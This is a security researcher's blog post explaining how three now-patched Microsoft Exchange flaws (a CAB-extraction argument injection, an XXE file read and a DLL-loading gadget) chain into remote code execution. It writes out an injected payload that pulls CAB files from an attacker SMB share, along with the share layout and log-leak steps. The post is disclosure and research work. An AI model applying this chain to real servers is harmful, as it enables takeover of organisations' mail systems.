Exploiting Exchange PowerShell After ProxyNotShell: Part 3 – DLL Loading Chain for RCE

September 19, 2024 | Piotr Bazydło

As you may know, I recently presented my Exchange-related talk during OffensiveCon 2024. This series of 4 blog posts is meant to supplement the talk and provide additional technical details.

In this article, part 3 of the series, I describe a chain of 3 vulnerabilities that led to remote code execution:

·       CVE-2023-36744 – Arbitrary File Write vulnerability
·       CVE-2023-36777 – Arbitrary File Read vulnerability
·       CVE-2023-36745 – Local DLL Loading vulnerability

In the sections that follow, I’m going to describe each of these in detail and show how I chained them to eventually achieve RCE.

You can also watch the talk here: “Half Measures and Full Compromise: Exploiting Microsoft Exchange PowerShell Remoting”. This blog post covers the part from 21:00 to 26:25.

Introduction

In this blog post, I will describe the chain of 3 vulnerabilities that led to remote code execution in Exchange. It is probably my favorite chain so far, so I will spend some time on it.

In this chain, I am mainly abusing the single-argument constructor conversions. If you are not familiar with them or do not recall their importance, please refer to the previous parts of this blog series or to the OffensiveCon talk.

I will be describing the chain in an order that provides the most logical presentation of my vulnerability-finding thought process.

CVE-2023-36745 – Local DLL Loading Gadget

When I was looking for non-denylisted gadgets that could be used to achieve something interesting, I found the following Exchange class: Microsoft.Exchange.DxStore.Common.DxSerializationUtil+SharedTypeResolver. It implements a single-argument constructor, which immediately drew my attention.

At [1], it tries to load a DLL called FUSE.Paxos.dll from the attacker-controlled location.

This is something that you could easily use for local privilege escalation, just by dropping the DLL to any local folder and then loading it with this gadget. Using it for remote code execution, though, is far harder. Remote DLL loading has been blocked by default in .NET 4, so you cannot load the DLL from a remote location hosted by the attacker, such as a public SMB share located in the domain. The attacker would need to drop the file locally first.

I decided to keep this gadget in my pocket for some time and to look for a file write primitive that would allow me to drop a DLL to the file system. It was not an easy thing to find, but it eventually paid off.

CVE-2023-36744 – File Write Gadget

After some time, I found the Microsoft.Diagnostics.Runtime.DumpDataReader class, where a single-argument constructor looked promising. At first glance, it looked completely useless but let us look further !

At [1], a constructor with a single argument of type string is defined.

At [2], the code verifies that the provided argument is an existing filesystem path. If not, it throws an exception.

At [3], the code verifies that the provided path ends with .cab.

If we pass all the checks, it calls ExtractCab at [4]. Things are getting spicy here.

At [1], the code generates a random path having the form C:\Windows\Temp\<random-guid>. At [2], it creates the generated directory.

At [3], it calls expand -F:*dmp <attacker-path> C:\Windows\Temp\<random-guid>.

Let’s stop here for a moment. expand is another Windows CAB extraction utility. Unlike extrac32 (from a previous blog post), it is not vulnerable to path traversal.

One can see that:

• The attacker-controlled path is used to retrieve a CAB file
• It extracts it with expand
• The argument -F:*dmp is hardcoded, which means that expand will extract only files ending with the string dmp
• The files are extracted to a randomly generated temporary directory.

The input is not validated to protect against UNC syntax, so the attacker can provide a remote file via an SMB server. As Exchange PowerShell exploitation requires Kerberos authentication, the attacker probably needs to be located within the same network. That way the attacker can deliver files through a public SMB share in the domain. Exchange will be able to access such a share, even with default restrictions enabled (anonymous share access prohibited).

So far so good. We can also look at [4]. The Dispose method is called when improper crash dump files are extracted. Moreover, Dispose can be also called from the ~DumpDataReader finalizer. Here is the code of Dispose:

At [1], the code retrieves a listing of all files in the random temporary directory.

At [2], it iterates over those files, and at [3] it deletes them.

At [4], it deletes the entire directory. Please note that the second argument is equal to false. This means that the directory deletion operation is not recursive, and later on we are going to abuse that.

When I fully analyzed the DumpDataReader constructor, I realized that there are multiple obstacles in the way of using this as our file write primitive:

• We can only extract files ending with dmp, whereas we need to drop a file with the specific name FUSE.Paxos.dll, as hardcoded in the DLL loading gadget.
• Files will be removed right after the extraction.
• Files are extracted to a path containing a GUID, and we can’t predict that path name, whereas we would need to provide a full path to the DLL loading gadget.
• The attacker’s string (path) is verified with File.Exists. Later on, we will see how this is problematic.
• We may need to extract more than one file, and we will see below how this also presents a minor difficulty.

You can see that the list is quite long, so the gadget appears useless at this point. However, I realized that the expand call itself is vulnerable to Argument Injection. I started playing with expand by testing various arguments, and it turned out that this injection was enough to bypass all the above restrictions! Now let us see how.

1. DumpDataReader: Extracting files with extension other than DMP

The first restriction that we want to bypass is the one that prevents extraction of files unless the filename ends with dmp. This is due to the-F switch provided to the expand utility:

     expand -F:*dmp attacker-path C:\Windows\Temp\<random-guid>

Let's consider a file f.cab that contains our malicious FUSE.Paxos.dll. We should not be able to extract it and preserve its name, due to the -F:*dmp argument. While playing around, I noticed that if either -r or -i is provided to expand, the -F argument is completely ignored! In the next screenshot, I have bypassed the extension-based protection by injecting the -i argument.

Figure 1 - Bypassing the extension protection with argument injection

2. DumpDataReader: Bypassing the file deletion routine

Now we know how to drop the DLL to the file system. However, remember that the gadget removes files just after the extraction. We might try to win a difficult race condition here, but a much simpler approach exists.

DumpDataReader removes all the files from the temporary directory and then removes the entire directory. However, the Directory.Delete function is called with the recursive argument equal to false.

If we were able to create a subdirectory within C:\Windows\Temp\<random-guid> and store our malicious file in that subdirectory, the deletion routine would not work.

For example, let's consider an operation that leads to the extraction of following files:

The DumpDataReader.Dispose method would remove test.txt and dump.exe, but a\poc.dll would remain untouched. This is because the Dispose method only looks for files in the top level of C:\Windows\Temp\f66aa138-fda9-4758-a733-1295ee2664e3\, and the search/removal operations it uses are not recursive.

Ultimately, the following file would remain on the file system:

C:\Windows\Temp\f66aa138-fda9-4758-a733-1295ee2664e3\a\poc.dll

How can one create a new directory by means of a CAB extraction? We can create a CAB file with a filename like a/FUSE.Paxos.DLL, and inject the -r argument to the expand utility. It recreates the entire directory structure, and additionally, as mentioned above, it bypasses the -F file extension check, killing two birds with one stone.

Figure 2 - Extracting entire directory structure - bypassing the file removal routine

3. DumpDataReader: Extracting multiple files

I found experimentally that the aforementioned bypasses work only for a CAB file that includes a single file. In addition to FUSE.Paxos.dll, we may need to drop additional files, though:

  • Ijwhost.dll, depending on how we compiled our malicious FUSE.Paxos.dll
  • An additional corrupted file. I will explain this part soon.

Luckily, you can provide multiple CAB file paths to a single expand execution and all will be handled. In the next screenshot, I’m providing paths to two different CAB files and both are extracted by a single execution of expand.

Figure 3 - Extracting multiple files with single expand execution

4. DumpDataReader: Leaking the extraction directory

We have bypassed almost all the restrictions! We are still missing a critical one, though. The files will be extracted to a path containing a randomly generated GUID. We cannot predict it, but to use the DLL loading gadget, we will need to provide the full path to our malicious DLL. Now, we need to find a primitive that leaks the extraction path.

Fortunately for me, such a primitive exists within expand itself. First of all, let’s create a corrupted CAB file, which contains a file with an invalid file name. Exemplary invalid name: c:tzt.dmp:

Figure 4 - CAB file with invalid file name

Now, let’s try to extract this file.

Figure 5 - Failed extraction attempt - corrupted CAB file

The extraction operation has failed, as expected. However, when we analyze the expand operation with the procmon, we will quickly notice something very interesting.

Figure 6 - expand accessing C:\Windows\Logs\DPX\setupact.log file

expand is writing some data to C:\Windows\Logs\DPX\setupact.log. Let’s have a look at the contents.

Figure 7 - GUID leaked in setupact.log

Bingo! When we try to extract a file with an invalid name, an exception is thrown and written to setupact.log. The exception text includes the extraction path, so this may be a way to leak the GUID and the entire DLL drop path. We only need a vulnerability that allows retrieval of the contents of this log file. We will come back to this later.

5. DumpDataReader – Preparing the Final Payload and Bypassing the File.Exists Check

We have bypassed all the significant restrictions, including:

• File extension check
• File removal after the extraction
• Writing to the random path (leak of GUID)

The final payload looks like this:

\\192.168.123.104\poc\f.cab -r \\192.168.123.104\poc\i.cab \\192.168.123.104\poc\t.cab

I am:

• Injecting -r argument to bypass several protections.
• Delivering 3 CAB files: one for FUSE.Paxos.dll, one for Ijwhost.dll and one containing a corrupted file for leaking the GUID.

You may remember that the attacker’s input is first passed to the File.Exists method and we need to pass that check. To do that, we need to prepare a tricky SMB share structure. It’s not hard to accomplish, though, and you can prepare such a share either on Windows or Linux.

Figure 8 - Sample SMB share for exploitation

Now, File.Exists succeeds, because it interprets the argument as a path to a deeply nested t.cab file. This deeply nested t.cab is of no further interest after we pass the File.Exists check. expand still sees the argument as a sequence of three separate shallow paths, with the addition of the flag -r in between the first two.

With this, we can drop both DLLs to the file system, as well as leak the file write path into one of the Windows log files. The last part to figure out is how to read this log file.

CVE-2023-36777 – XXE to File Read

As mentioned in the previous post, the Exchange issues that I previously reported were fixed by adding to the denylist of gadgets. According to that, I was free to use any class for PowerShell deserialization that was still not on the denylist.

I wanted to read the content of setupact.log to leak the GUID, and it didn’t take me long to find two classes: Microsoft.Build.Execution.ProjectInstance and Microsoft.Build.Evaluation.Project. Each defines a single-argument constructor, which we can reach through deserialization. Sample constructor:

The constructors lead to the Microsoft.Build.Evaluation.ProjectRootElementCache.Get method:

At [1], a new XmlDocument is initialized, and at [2], the XML document from the attacker-controlled path is loaded. As Exchange still runs on an older version of .NET Framework, XmlDocument is not protected against XXE by default.

We can store our malicious XML file on the same SMB share as our CAB files. Now, we can use this XXE to read setupact.log and retrieve the random name of the directory where the DLLs were dropped.

Figure 9 - Retrieving leaked GUID with XXE

Now we have all that we need to achieve RCE. We can deserialize the local DLL loading gadget and provide it with the following input:

C:\Windows\Temp\ 7ed16d75-c0c3-4466-8266-98d0abb764ed\a

This will load the malicious FUSE.Paxos.dll that we uploaded.

Final Chain

To sum up, we can now chain all 3 vulnerabilities:

• CVE-2023-36744 -> Arbitrary File Write through Argument Injection, which drops a malicious DLL to the local file system. The drop path is randomized and initially unknown.
• CVE-2023-36777 -> Arbitrary File Read, to leak the randomized drop path.
• CVE-2023-36745 -> Local DLL Loading to load the dropped DLL and achieve RCE as SYSTEM.

The entire chain can be seen in action in the following demo.

Summary

In this blog post, I have presented a chain of three vulnerabilities that lead to RCE on Microsoft Exchange Server. It can be executed by any domain user.  The requirement of a domain user is due to the fact that the attacker needs the ability to invoke Exchange PowerShell cmdlets on the server.

In the next blog post, which will be part 4 of 4 in the Exchange PowerShell Remoting series, I’m going to show you how Microsoft has finally provided a reasonably comprehensive patch for Exchange PowerShell remoting deserialization flaws. Even still, I managed to find a way to exploit several allowlisted classes to achieve both file read and NTLM relaying, through setter-based PowerShell remoting conversion.

Until my next post, you can follow me @chudypb and follow the team on Twitter, Mastodon, LinkedIn, or Bluesky for the latest in exploit techniques and security patches.